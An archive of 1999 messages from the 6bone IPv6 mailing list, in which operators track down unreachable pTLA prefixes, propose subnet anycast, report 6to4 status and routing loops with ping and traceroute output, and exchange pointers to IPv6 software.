Subject: pTLAs missing in action


> Does anyone know of any active nodes with addresses belonging to the
> following prefixes:
>
> 3ffe:800::/24 (ISI-LAP)
> 3ffe:d00::/24 (ANSNET)
> 3ffe:e00::/24 (IFB)
> 3ffe:1500::/24 (UO)
> 3ffe:1600::/24 (NUS-IRDU)
> 3ffe:1700::/24 (MREN)
> 3ffe:1f00::/24 (NETCOM-UK)
> 3ffe:2700::/24 (ERA)
> 3ffe:2d00::/24 (GRNET)
> 3ffe:3000::/24 (AMS-IX)
> 3ffe:3500::/24 (REGIO-DE)
> 3ffe:3700::/24 (ABILENE)
> 3ffe:3800::/24 (FIBERTEL)
> 3ffe:8010::/28 (ICM-PL)
> 3ffe:8020::/28 (IIJ)
> 3ffe:8030::/28 (QTPVSIX)
>
> Either I can't find any DNS names associated with them in the 6bone
> registry, or the DNS names that I do find do not resolve.
>
> Thanks,
> Rich


From 6bone-owner  Tue Jun 29 17:00:17 1999
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From: "Patricio Latini" <platini@fibertel.com.ar>
To: <6bone@ISI.EDU>
Subject: Re: pTLAs missing in action
Date: Tue, 29 Jun 1999 20:59:33 -0300
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------=_NextPart_000_009D_01BEC272.4A10AE20
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The fibertel www ipv6 is working good since may it have benn tested with
many members of the 6bone all of them answered to me that they could =
reach
the ipv6 www site.. So i ask again to all the members that cant reackh =
my
site email me to solve the problem.

Thanks for your help
------------------------------------------------------
Patricio Sebasti=E1n Latini
Network Administrator
Network Operations Center
Fibertel TCI2
Buenos Aires - Argentina
------------------------------------------------------


------=_NextPart_000_009D_01BEC272.4A10AE20
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>The fibertel www ipv6 is working good =
since may it=20
have benn tested with<BR>many members of the 6bone all of them answered =
to me=20
that they could reach<BR>the ipv6 www site.. So i ask again to all the =
members=20
that cant reackh my<BR>site email me to solve the problem.<BR><BR>Thanks =
for=20
your =
help<BR>------------------------------------------------------<BR>Patrici=
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From 6bone-owner  Tue Jun 29 17:34:06 1999
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Date: Wed, 30 Jun 1999 12:33:24 +1200
From: Joe Abley <jabley@clear.co.nz>
To: Cyndi Jung <cmj@3com.com>
Cc: Dancer <dancer@zeor.simegen.com>,
        "Brig, Michael P." <brigm@spawar.navy.mil>, 6bone@ISI.EDU,
        "Charlow, Kevin" <charlowk@spawar.navy.mil>, byrnesr@spawar.navy.mil,
        users@ipv6.org, deployment@ipv6.org, jabley@clear.co.nz
Subject: Re: What commercial ISPs currently provide IPv6 services or plan to in  the near future??
Message-ID: <19990630123324.A18414@clear.co.nz>
References: <3.0.32.19990629151015.00e796c8@pop.nsd.3com.com>
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On Tue, Jun 29, 1999 at 03:10:17PM -0700, Cyndi Jung wrote:
> Maybe you could help linking those ISPs with those people that might be
> looking for them.  Do you have names of these ISPs?  Perhaps those ISPs
> have URLs to make it possible for people in their region to get more
> information about their IPv6 service offering?
> 
> I have heard that Japan has some ISPs offering IPv6 - if anybody
> has any useable pointers for them it would be helpful too.
> 
> Perhaps URLs for these ISPs with IPv6 service could be added to the
> information on the IPv6 websites.

We're pretty well-connected to Australia, and have an IPv6 router
available for people to connect to:

  http://www.clear.net.nz/

Look for CLIX-NG in whois.


Joe

From 6bone-owner  Wed Jun 30 07:47:21 1999
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From: Rute Sofia <rsofia@rccn.net>
To: 6bone@ISI.EDU
Subject: DiffServ and IPv6
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Hi.

I would like to know if anyone's working in DiffServ but specifically 
with IPv6, besides the use of the Traffic Class field as the DS byte.

Does anyone have any ideas on this? If yes, could you please point out 
some links or papers on the subject ?

	Thanks,

	Rute Sofia

---------------------------------------------------
Helena Rute Esteves Carvalho Sofia
FCCN
Av. do Brasil, 101
1799 LISBOA CODEX
tel.: 8440115
fax: 8472167
e-mail: rsofia@rccn.net
"After silence, that which comes nearest to expressing 
the inexpressible is Music." - Aldous Huxley

---------------------------------------------------


From 6bone-owner  Wed Jun 30 08:54:16 1999
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Date: Wed, 30 Jun 1999 08:53:45 -0700
From: "Luis Paz Ph. D." <phoenix1@pacbell.net>
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To: "Brig, Michael P." <brigm@spawar.navy.mil>
CC: 6bone@ISI.EDU, "Charlow, Kevin" <charlowk@spawar.navy.mil>,
        "Byrnes, Robert" <byrnesr@spawar.navy.mil>
Subject: Re: What commercial ISPs currently provide IPv6 services or plan to in 
 the near future??
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Michael;  AboveNet can support IPv6
here is contact information if you need it.

"Brig, Michael P." wrote:

> I know Trumpet Software International recently made a press statement that
> it is commencing commercial IPv6 service. What other commercial ISPs also
> provide IPv6 services today around the world? What ISPs plan to provide IPv6
> services within the next 6 months?
>
> thanks...
>
> Michael P. Brig
> USN SPAWAR System Center Charleston SC
> 843-974-4675
> brigm@spawar.navy.mil

--
Respectfully,




Luis Paz Ph.D.
Phoenix1@pacbell.net
206 328-9732


"I have not doubt the devil grins
At these seas of ink I spatter
Yea gods forgive my literary sins
For the other kind don't matter"
-Robert Service



From 6bone-owner  Wed Jun 30 11:32:19 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>
Subject: RE: pTLAs missing in action
Date: Wed, 30 Jun 1999 11:30:37 -0700
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OK, some progress... now the list of pTLAs for which I have no addresses to
ping is

	3ffe:800::/24 (ISI-LAP)
	3ffe:d00::/24 (ANSNET)
	3ffe:1500::/24 (UO)
	3ffe:1600::/24 (NUS-IRDU)
	3ffe:1700::/24 (MREN)
	3ffe:1f00::/24 (NETCOM-UK)
	3ffe:2700::/24 (ERA)
	3ffe:2d00::/24 (GRNET)
	3ffe:3500::/24 (REGIO-DE)
	3ffe:3700::/24 (ABILENE)
	3ffe:8010::/28 (ICM-PL)
	3ffe:8030::/28 (QTPVSIX)

I have found test-gw.ipv6.regio.net but it resolves to a 3ffe:400::/24
address. And 6bone-gw.6bone.pl resolves to a 3ffe:900::/24 address.

Some DNS names in the registry associated with the above pTLAs, that do not
resolve to AAAA addresses:

sandbox.ep.net
6bone.wtn.ans.net
6bone-gw.uoregon.edu
ipv6-gw.6bone.cir.nus.edu.sg
6bone-gw1.ar.singaren.net.sg
r-x-mren.fnal.gov
beavis.ip6.netcom.net.uk
ip6-gw.ip6.netcom.net.uk
tom.testbed.era.ericsson.se
6bone-gw.testbed.era.ericsson.se
ipv6-gw.grnet.gr
ifigenia.ipv6.cs.teiath.gr
ocarine.ariadne-t.gr
6bone.regio.net
6bone-gw.regio.net
zatoka.icm.edu.pl

Thanks,
Rich

From 6bone-owner  Wed Jun 30 14:11:30 1999
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Diffserv only uses the Traffic Class field, and operates identically
for IPv4 and IPv6. It would be interesting to hear if anyone
has implemented diffserv for IPv6 so far, but there should be no
difference from IPv4.

  Brian

Rute Sofia wrote:
> 
> Hi.
> 
> I would like to know if anyone's working in DiffServ but specifically
> with IPv6, besides the use of the Traffic Class field as the DS byte.
> 
> Does anyone have any ideas on this? If yes, could you please point out
> some links or papers on the subject ?
> 
>         Thanks,
> 
>         Rute Sofia
> 
> ---------------------------------------------------
> Helena Rute Esteves Carvalho Sofia
> FCCN
> Av. do Brasil, 101
> 1799 LISBOA CODEX
> tel.: 8440115
> fax: 8472167
> e-mail: rsofia@rccn.net
> "After silence, that which comes nearest to expressing
> the inexpressible is Music." - Aldous Huxley
> 
> ---------------------------------------------------

-- 
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Brian E Carpenter (IAB Chair)
Program Director, Internet Standards & Technology, IBM Internet Div
As of May 24, 1999: on assignment for IBM at http://www.iCAIR.org 
Non-IBM email: brian@icair.org

From 6bone-owner  Wed Jun 30 23:03:23 1999
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Date: Thu, 01 Jul 1999 15:09:18 +0900
From: ksb <ksbn@kt.co.kr>
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How are you? members,

I'm looking for IPv6 web browsers for Solaris 7.
Will you send me some information?

Thank you.

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Thu Jul  1 06:34:12 1999
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From: Rute Sofia <rsofia@rccn.net>
To: Brian E Carpenter <brian@hursley.ibm.com>
cc: 6bone@ISI.EDU
Subject: Re: DiffServ and IPv6
In-Reply-To: <377A8772.11875F88@hursley.ibm.com>
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Well, I was thinking more about addressing, something like using anycast 
and, for instance, bandwidth brokers.

Sorry for pushing it :-), but I am interested in exploring new areas 
related with IPv6, not meaning to put aside IPv4. :-)

	Thanks,

		Rute Sofia

---------------------------------------------------
Helena Rute Esteves Carvalho Sofia
FCCN
Av. do Brasil, 101
1799 LISBOA CODEX
tel.: 8440115
fax: 8472167
e-mail: rsofia@rccn.net
"After silence, that which comes nearest to expressing 
the inexpressible is Music." - Aldous Huxley

---------------------------------------------------

On Wed, 30 Jun 1999, Brian E Carpenter wrote:

> Diffserv only uses the Traffic Class field, and operates identically
> for IPv4 and IPv6. It would be interesting to hear if anyone
> has implemented diffserv for IPv6 so far, but there should be no
> difference from IPv4.
> 
>   Brian
> 
> Rute Sofia wrote:
> > 
> > Hi.
> > 
> > I would like to know if anyone's working in DiffServ but specifically
> > with IPv6, besides the use of the Traffic Class field as the DS byte.
> > 
> > Does anyone have any ideas on this? If yes, could you please point out
> > some links or papers on the subject ?
> > 
> >         Thanks,
> > 
> >         Rute Sofia
> > 
> > ---------------------------------------------------
> > Helena Rute Esteves Carvalho Sofia
> > FCCN
> > Av. do Brasil, 101
> > 1799 LISBOA CODEX
> > tel.: 8440115
> > fax: 8472167
> > e-mail: rsofia@rccn.net
> > "After silence, that which comes nearest to expressing
> > the inexpressible is Music." - Aldous Huxley
> > 
> > ---------------------------------------------------
> 
> -- 
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> Brian E Carpenter (IAB Chair)
> Program Director, Internet Standards & Technology, IBM Internet Div
> As of May 24, 1999: on assignment for IBM at http://www.iCAIR.org 
> Non-IBM email: brian@icair.org
> 

From 6bone-owner  Thu Jul  1 07:04:53 1999
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From: Dancer <dancer@zeor.simegen.com>
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To: ksbn@kt.co.kr
CC: =?iso-8859-1?Q?=B1=B9=C1=A6?= 6Bone <6bone@ISI.EDU>
Subject: Re: v6 browser
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ksb wrote:
> 
> How are you? members,
> 
> I'm looking for IPv6 web browsers for Solaris 7.
> Will you send me some information?
> 
> Thank you.
> 
> --
>   Kim, Sahng-Beom / Korea Telecom
>   TEL :    +82-42-870-8322
>   FAX :    +82-42-870-8329
>   E-mail :  ksbn@kt.co.kr
> --

I have a small proxy that can access ipv4/ipv6 HTTP servers. It's
getting a rewrite before release. (it's a hack of something else I did,
so it's pretty ugly)

D

From 6bone-owner  Thu Jul  1 07:13:05 1999
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ksb <ksbn@kt.co.kr> writes:
> How are you? members,
> 
> I'm looking for IPv6 web browsers for Solaris 7.
> Will you send me some information?

The KAME project has patches for Mozilla -- see http://www.ipv6.org/
for information (which should be reasonably up to date). You can also
ask on users@ipv6.org (subscribe via majordomo@ipv6.org).

Perry

From 6bone-owner  Thu Jul  1 08:09:01 1999
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Date: Thu, 1 Jul 1999 08:08:26 -0700
To: Richard Draves <richdr@microsoft.com>
From: Steve Deering <deering@cisco.com>
Subject: RE: pTLAs missing in action
Cc: "'6bone'" <6bone@ISI.EDU>
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At 11:30 AM -0700 6/30/99, Richard Draves wrote:
>OK, some progress... now the list of pTLAs for which I have no addresses to
>ping is
>
>	3ffe:800::/24 (ISI-LAP)
>	3ffe:d00::/24 (ANSNET)
>	3ffe:1500::/24 (UO)
>	3ffe:1600::/24 (NUS-IRDU)
>	3ffe:1700::/24 (MREN)
>	3ffe:1f00::/24 (NETCOM-UK)
>	3ffe:2700::/24 (ERA)
>	3ffe:2d00::/24 (GRNET)
>	3ffe:3500::/24 (REGIO-DE)
>	3ffe:3700::/24 (ABILENE)
>	3ffe:8010::/28 (ICM-PL)
>	3ffe:8030::/28 (QTPVSIX)

It would be very nice if, for every piece of topology identified by an
address prefix, the border routers of that piece of topology would
automatically assign to themselves an anycast address consisting of
the relevant prefix followed by all zeros.  The anycast address would
be assigned to the interface(s) attached to the prefixed topology.
This would allow you to ping a prefix and get an answer from the nearest
border router of that prefix.  This particular use of anycast addressing
does not impose any additional load on routing outside the piece of
topology (since it aggregates with all the other addresses for that
piece of topology), and adds only one entry to the routing inside the
piece of topology (for the zero-valued next-level-down prefix).

Note that we already require this for the border routers of subnets
(effectively, all routers), and I recall that the IPv6 address allocation
policies that the regional registries are proposing/using requires this
for border routers of sites.  I suggest we require it for the border
routers of all prefixes.

Comments?

Steve


From 6bone-owner  Thu Jul  1 12:47:27 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'Steve Deering'" <deering@cisco.com>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: RE: pTLAs missing in action
Date: Thu, 1 Jul 1999 12:45:23 -0700 
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> It would be very nice if, for every piece of topology identified by an
> address prefix, the border routers of that piece of topology would
> automatically assign to themselves an anycast address consisting of
> the relevant prefix followed by all zeros.  The anycast address would
> be assigned to the interface(s) attached to the prefixed topology.
> This would allow you to ping a prefix and get an answer from 
> the nearest
> border router of that prefix.  This particular use of anycast 
> addressing
> does not impose any additional load on routing outside the piece of
> topology (since it aggregates with all the other addresses for that
> piece of topology), and adds only one entry to the routing inside the
> piece of topology (for the zero-valued next-level-down prefix).

Well this would certainly make my life easier right now.

> Note that we already require this for the border routers of subnets
> (effectively, all routers), and I recall that the IPv6 
> address allocation
> policies that the regional registries are proposing/using 
> requires this
> for border routers of sites.  I suggest we require it for the border
> routers of all prefixes.

Does anyone actually implement the subnet anycast addresses? I know I've
been lax about it, and from the brief experiment I just tried it seems Cisco
& Telebit routers also do not.

Something for UNH to check...

Rich

From 6bone-owner  Thu Jul  1 15:01:03 1999
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From: Dancer <dancer@zeor.simegen.com>
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To: itojun@iijlab.net
CC: 6bone@ISI.EDU
Subject: Re: v6 browser
References: <2206.930839539@coconut.itojun.org>
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itojun@iijlab.net wrote:
> 
> >I have a small proxy that can access ipv4/ipv6 HTTP servers. It's
> >getting a rewrite before release. (it's a hack of something else I did,
> >so it's pretty ugly)
> 
>         If you are okay with proxy, we have patch for squid and apache
>         (which has proxy mode) at ftp://ftp.kame.net/pub/kame/misc/.
> 
> itojun

I noticed. The squid version's one of the old 1.1 versions, which aren't
really supported anymore. Currently we're up to 2.2stable3. I'm in the
development team and I've got a development snapshot of 2.3 that I'm
working on converting so that v6 (protocol independent) support will be
the default for the application.

D

From 6bone-owner  Tue Jul  6 14:49:41 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>
Cc: "'bmanning@isi.edu'" <bmanning@ISI.EDU>,
        "'meyer@ns.uoregon.edu'"
	 <meyer@ns.uoregon.edu>,
        "'Conny.Larsson@era.ericsson.se'"
	 <Conny.Larsson@era.ericsson.se>,
        "'horke@regio.net'" <horke@regio.net>
Subject: RE: pTLAs missing in action 
Date: Tue, 6 Jul 1999 14:47:54 -0700 
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OK, more progress. Now there are only 5 pTLAs for which I have no
information:
	3FFE:0800::/24 (ISI-LAP)
	3FFE:0D00::/24 (ANSNET)
	3FFE:1500::/24 (UO)
	3FFE:2700::/24 (ERA)
	3FFE:3500::/24 (REGIO-DE)

If you know of any active addresses within those pTLAs, or know that they
are inactive pTLAs, please let me know.

Thanks,
Rich

From 6bone-owner  Tue Jul  6 15:48:14 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>
Subject: RE: pTLAs missing in action 
Date: Tue, 6 Jul 1999 15:46:27 -0700 
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> >Does anyone actually implement the subnet anycast addresses? 
> I know I've
> >been lax about it, and from the brief experiment I just 
> tried it seems Cisco
> >& Telebit routers also do not.
> 
> 	My reply vanished somewhere in the cyberspace so I resend this.
> 
> 	KAME can configure anycast address by using ifconfig, 
> and default
> 	IPv6 initialization script (rc.net6) configures subnet 
> anycast address
> 	for your subnet, on routers.

I just implemented support for subnet anycast addresses in MSR IPv6 - they
are configured automatically when a router has a subnet prefix on an
interface.

Rich

From 6bone-owner  Tue Jul  6 16:41:26 1999
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Subject: Re: pTLAs missing in action
To: richdr@microsoft.com (Richard Draves)
Date: Tue, 6 Jul 1999 16:41:06 -0700 (PDT)
Cc: 6bone@ISI.EDU ('6bone'), bmanning@ISI.EDU ('bmanning@isi.edu'),
        meyer@ns.uoregon.edu ('meyer@ns.uoregon.edu'),
        Conny.Larsson@era.ericsson.se ('Conny.Larsson@era.ericsson.se'),
        horke@regio.net ('horke@regio.net')
In-Reply-To: <4D0A23B3F74DD111ACCD00805F31D810145154C4@RED-MSG-50> from "Richard Draves" at Jul 06, 1999 02:47:54 PM
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> 
> OK, more progress. Now there are only 5 pTLAs for which I have no
> information:
> 	3FFE:0800::/24 (ISI-LAP)
> 	3FFE:0D00::/24 (ANSNET)
> 	3FFE:1500::/24 (UO)
> 	3FFE:2700::/24 (ERA)
> 	3FFE:3500::/24 (REGIO-DE)
> 
> If you know of any active addresses within those pTLAs, or know that they
> are inactive pTLAs, please let me know.
> 
> Thanks,
> Rich

While an interesting exercise, your "inactive" pTLAs are dependent on
your IPv4 unicast reachability.

3FFE:800:0:C620:920B::0  

ping 3FFE:800:0:C620:920B::0
 
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 3FFE:800:0:C620:920B::0, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms


--bill

From 6bone-owner  Tue Jul  6 17:32:18 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'Bill Manning'" <bmanning@ISI.EDU>
Cc: 6bone@ISI.EDU, meyer@ns.uoregon.edu, Conny.Larsson@era.ericsson.se,
        horke@regio.net
Subject: RE: pTLAs missing in action
Date: Tue, 6 Jul 1999 17:29:55 -0700 
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> While an interesting exercise, your "inactive" pTLAs are dependent on
> your IPv4 unicast reachability.
>
> 3FFE:800:0:C620:920B::0  

The 5 pTLAs were just those for which I know no v6 addresses to try pinging,
and have not heard confirmation from the pTLA admin that the pTLA is
offline.

This is very different from a list of pTLAs unreachable by me, which would
be much longer.

Now that I have an address in 3ffe:800::/24 to add to my list, I'm down to 4
"missing" pTLAs.

Thanks,
Rich

From 6bone-owner  Tue Jul  6 21:43:16 1999
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From: "nguyen Thanh Le" <ntle@vnn.vn>
To: <6bone@ISI.EDU>
References: <Pine.SOL.3.90.990630154344.20675N-100000@phobos.rccn.net>
Subject: Transition from IPv4 to IPV6
Date: Wed, 7 Jul 1999 11:24:58 +0700
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I would like to introduce myself : My name is Le Thanh. I'm working at
Investisement and Development Division of the biggest IPS in Vietnam.
Currently, I work on an important pilot project named "Transition from IPv4
to IPV6" that allow us to transform smoothly our network backbone IPV4 verus
IPV6. Our national network uses Bay Network Access Server, Cisco Routers,
SUN stations and servers, ...etc.
I'm very new to this mailling-list, so I have somes questions that I would
like to receive the answers :
    - What is the first thing I have to do (ex : Change DNS, ..etc.)  ?.
    - Which devices and servers elses we have to use for the compatibilities
between IPV4 and IPV6.


If you are interessing to these questions, I would like to send to you a
Network Topology in Winword format.

Could any one give me somes advises ?.

Thank you very much and I'm looking toward to hearing from you soon.

Le Nguyen.




From 6bone-owner  Wed Jul  7 03:09:18 1999
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Date: Wed, 7 Jul 1999 20:09:12 +1000 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: 6bone@ISI.EDU, IPv6 Deployment List <deployment@ipv6.org>
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Just posted on the newsgroups.

pardon the blatant advertising.

From: peternews@trumpet.com.au (Peter R. Tattam)
Newsgroups: trumpet.announce,alt.winsock.trumpet,comp.protocols.tcp-ip.ibmpc
Subject: Trumpet Winsock 5.0 released
Date: Wed, 7 Jul 1999 20:05:56 +1100

Now available for download

ftp://ftp.trumpet.com/winsock/twsk50b.exe       From our USA site

ftp://ftp.trumpet.com.au/winsock/twsk50b.exe    From our Aus site


Like the Trumpet Winsock v 4.0, Trumpet Winsock v5.0 is a fully-featured 
32-bit dialer for use with both Windows95/98 and Windows NT as well as having 
IPv6 capability. It can be used to dial into the Internet to connect to your 
local service provider and is a Winsock v1.1 compliant TCP/IP stack. You 
should be able to make IPv6 name lookups and reverse lookups, TCP and UDP 
connections on IPv6. Your application will need to be IPv6 aware to make 
connections, however this version also includes an IPv6 -> IPv4 translator 
that allows most IPv4 apps to work over IPv6.

IPv6 is a replacement Internet Protocol that will enhance the ability to 
sustain the continuous growth of theInternet, solving the IP address space 
depletion dilemma and enhancing other properties that willeventually impact on 
the viability of the Internet. By the use of the IPv6 Addressing capability, 
rather than the existing IPv4 protocol, the limit on addresseshas been 
extended from a theoretical 4 billion to 340 trillion, trillion, trillion 
(3.4x10**38) 


Trumpet is rapidly becoming a market leader in IPv6 software for Win32 
platforms, for example, our Fanfare Internet server is IPv6 capable.

For more information, read the following URL.

        http://www.trumpet.com.au/ipv6.htm

Important bug fixes include the installer problem with Win95/98 and it is now 
compatible with IE 4.0

Enjoy!!!

Peter

--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


From 6bone-owner  Wed Jul  7 03:15:37 1999
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Dear members:

I got a small IPv6 network based on Solaris7 hosts.
I hope to experiment the IPv6 multicast on Solaris7
hosts(IPv6 prototype patch installed).
But it's difficult to find proper software.
Will you send me some information?

Sincerely,

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Thu Jul  8 16:46:09 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>
Subject: 6to4 status report
Date: Thu, 8 Jul 1999 16:44:13 -0700 
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Currently two ASes (MSR-REDMOND and CAIRN) are advertising the 2010::/16
prefix into the 6bone. There's actually just one 6to4 relay router - CAIRN
has a static tunnel to me.

For the 61 pTLAs in the 6bone, I have the following statistics:
3 Unknown - meaning no known v6 addresses, no response from pTLA
administrator
6 Offline - meaning pTLA administrator confirms that the pTLA is inactive
16 Bad - meaning I've never succeeded in pinging the pTLA with a 6to4 source
address
36 OK - meaning I've succeeded in pinging the pTLA at least once

Note that my connectivity to the 36 "OK" pTLAs is often intermittent at
best, but that's par for the 6bone :-).

Rich

From 6bone-owner  Fri Jul  9 16:18:59 1999
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To: deployment@ipv6.org, 6bone@ISI.EDU
Subject: we need better "join the 6bone tools"
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From: "Perry E. Metzger" <perry@piermont.com>
Date: 09 Jul 1999 16:48:50 -0400
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It has become apparent that we need some better tools for helping
organizations trying to play with v6 find 6bone connectivity. The
current method is basically "hunt through long lists and try to find
someone sympathetic", which is going to break down if we start getting 
any real volume out.

What I'd like to do is to get some web pages, hopefully dual-hosted at 
www.6bone.net and www.ipv6.org, that are broken down geographically
and by "netspace location" (i.e. major backbone provider) that list
organizations explicitly willing to give out tunnels in those
physical/virtual locations. That way, you can locate the five or ten
organizations to talk to quickly instead of hunting down five URLs and 
going through long lists.

We really need various tunnel broker things eventually, but this
should only take a volunteer a matter of hours to set up, and it will
be done. An imperfect solution, but one that we could have up in days.

I'll happily give anyone willing to maintain such a thing an account
on www.ipv6.org so they can do the work.

What do people think?

Perry

From 6bone-owner  Sun Jul 11 02:01:26 1999
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From: Shawn Ferry <lalartu@obscure.org>
To: deployment@ipv6.org, 6bone@ISI.EDU
Subject: Re: we need better "join the 6bone tools"
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I agree with you there, I am currently in the process of trying to find someone
to connect my site.  It is getting a bit frustrating, just wating for someone
to respond.

I would be willing to keep up the pages, on an opt in basis, although I do not
claim that they will be overly nice to look at(especially if it helps me
get my own connectivity).

Shawn Ferry

Quoting Perry E. Metzger <perry@piermont.com>:
> 
> It has become apparent that we need some better tools for helping
> organizations trying to play with v6 find 6bone connectivity. The
> current method is basically "hunt through long lists and try to find
> someone sympathetic", which is going to break down if we start getting 
> any real volume out.
> 
> What I'd like to do is to get some web pages, hopefully dual-hosted at 
> www.6bone.net and www.ipv6.org, that are broken down geographically
> and by "netspace location" (i.e. major backbone provider) that list
> organizations explicitly willing to give out tunnels in those
> physical/virtual locations. That way, you can locate the five or ten
> organizations to talk to quickly instead of hunting down five URLs and 
> going through long lists.
> 
> We really need various tunnel broker things eventually, but this
> should only take a volunteer a matter of hours to set up, and it will
> be done. An imperfect solution, but one that we could have up in days.
> 
> I'll happily give anyone willing to maintain such a thing an account
> on www.ipv6.org so they can do the work.
> 
> What do people think?
> 
> Perry

From 6bone-owner  Sun Jul 11 07:41:53 1999
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"Perry E. Metzger" wrote:
> 
> It has become apparent that we need some better tools for helping
> organizations trying to play with v6 find 6bone connectivity. The
> current method is basically "hunt through long lists and try to find
> someone sympathetic", which is going to break down if we start getting
> any real volume out.

Especially since the lists and info tend to age rapidly. Lancashire's
pages (until a few days ago) hadn't been updated for months (the
automatic process that munges them out of the registry must have broken
down).

I was lucky. Out in Australia, there wasn't a lot of choice, so the list
was short, and Trumpet made the top of it, since Peter was generating
mail traffic on the lists.

> 
> What I'd like to do is to get some web pages, hopefully dual-hosted at
> www.6bone.net and www.ipv6.org, that are broken down geographically
> and by "netspace location" (i.e. major backbone provider) that list
> organizations explicitly willing to give out tunnels in those
> physical/virtual locations. That way, you can locate the five or ten
> organizations to talk to quickly instead of hunting down five URLs and
> going through long lists.
> 
> We really need various tunnel broker things eventually, but this

You mean as in a bunch of preallocated networks and tunnel connection
points that could be handed out on a semi-automated basis? Or am I
misinterpreting?

> should only take a volunteer a matter of hours to set up, and it will
> be done. An imperfect solution, but one that we could have up in days.
> 
> I'll happily give anyone willing to maintain such a thing an account
> on www.ipv6.org so they can do the work.

Really good idea. Unable to help with the work, but the idea is great,
and much needed.

From 6bone-owner  Tue Jul 13 08:52:26 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'jane@ifi.uio.no'" <jane@ifi.uio.no>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: 3ffe:2a00::/24 routing loop?
Date: Tue, 13 Jul 1999 08:33:23 -0700
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It looks like there's a routing loop in the 3ffe:2a00::/24 pTLA... see
below.
I'm running in the IETF terminal room.

Thanks,
Rich

tracert6 -d 3ffe:dfe:fffe::9

Tracing route to 3ffe:dfe:fffe::9
over a maximum of 30 hops:

  1     1 ms    <1 ms    <1 ms  3ffe:2a00:100:7031::1
  2     3 ms     3 ms     3 ms  3ffe:2a00:100:7ffd::1
  3   177 ms   177 ms   182 ms  3ffe:2a00:100:7ffc::2
  4   183 ms   182 ms   181 ms  3ffe:2a00:100:7ffd::1
  5   356 ms   355 ms   349 ms  3ffe:2a00:100:7ffc::2
  6   358 ms   349 ms   355 ms  3ffe:2a00:100:7ffd::1
  7   542 ms   544 ms  ^C

From 6bone-owner  Tue Jul 13 09:19:41 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'jane@ifi.uio.no'" <jane@ifi.uio.no>, "'6bone'" <6bone@ISI.EDU>
Subject: RE: 3ffe:2a00::/24 routing loop?
Date: Tue, 13 Jul 1999 08:54:10 -0700
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Well, there's strangeness afoot. A couple minutes after I sent the below
message, the routing loop fixed itself. Then a few minutes later it broke
again, but in a different pTLA:

Now the loop is:

tracert6 -d 3ffe:dfe:fffe::9

Tracing route to 3ffe:dfe:fffe::9
over a maximum of 30 hops:

  1     1 ms    <1 ms     1 ms  3ffe:2a00:100:7031::1
  2     3 ms     3 ms     3 ms  3ffe:2a00:100:7ffd::1
  3    20 ms    19 ms    23 ms  3ffe:200:1:b::1
  4    82 ms    69 ms    69 ms  3ffe:1d00:2:4::1
  5    75 ms    68 ms     *     3ffe:200:1:2::2
  6   105 ms   226 ms   163 ms  3ffe:1d00:2:4::1
  7   199 ms   112 ms   122 ms  3ffe:200:1:2::2
  8   167 ms   157 ms   188 ms  3ffe:1d00:2:4::1
  9   171 ms   187 ms   196 ms  3ffe:200:1:2::2
 10  ^C

>  -----Original Message-----
> From: 	Richard Draves  
> Sent:	Tuesday, July 13, 1999 8:33 AM
> To:	'jane@ifi.uio.no'
> Cc:	'6bone'
> Subject:	3ffe:2a00::/24 routing loop?
> 
> It looks like there's a routing loop in the 3ffe:2a00::/24 
> pTLA... see below.
> I'm running in the IETF terminal room.
> 
> Thanks,
> Rich
> 
> tracert6 -d 3ffe:dfe:fffe::9
> 
> Tracing route to 3ffe:dfe:fffe::9
> over a maximum of 30 hops:
> 
>   1     1 ms    <1 ms    <1 ms  3ffe:2a00:100:7031::1
>   2     3 ms     3 ms     3 ms  3ffe:2a00:100:7ffd::1
>   3   177 ms   177 ms   182 ms  3ffe:2a00:100:7ffc::2
>   4   183 ms   182 ms   181 ms  3ffe:2a00:100:7ffd::1
>   5   356 ms   355 ms   349 ms  3ffe:2a00:100:7ffc::2
>   6   358 ms   349 ms   355 ms  3ffe:2a00:100:7ffd::1
>   7   542 ms   544 ms  ^C

From 6bone-owner  Tue Jul 13 17:51:35 1999
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Subject: How to join the v6 groups
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Hello

     I'm interested in IPv6 testing and development activities. Currently I have
a 2 PC's running IPv6 ( on FreeBSD with Kame). Could anyone tell me how could I
connect ( besides - freenet6's tunnel broker ) to some other sides for testing
???


Thanks.
ettikan



From 6bone-owner  Tue Jul 13 23:07:39 1999
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Date: Wed, 14 Jul 1999 08:07:31 +0200 (MET DST)
From: Xavier <xavier@euro.net>
X-Sender: xavier@caolila
To: 6bone@ISI.EDU
Subject: IPv6 compliant applications? 
Message-ID: <Pine.GSO.4.10.9907140805400.2847-100000@caolila>
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Hi,

Where can I find an index of IPv6 compliant applications (or patches,
updates, ...) for Solaris?

Ex: Apache, lynx, wuftpd, ...

Regards,
Xavier

--
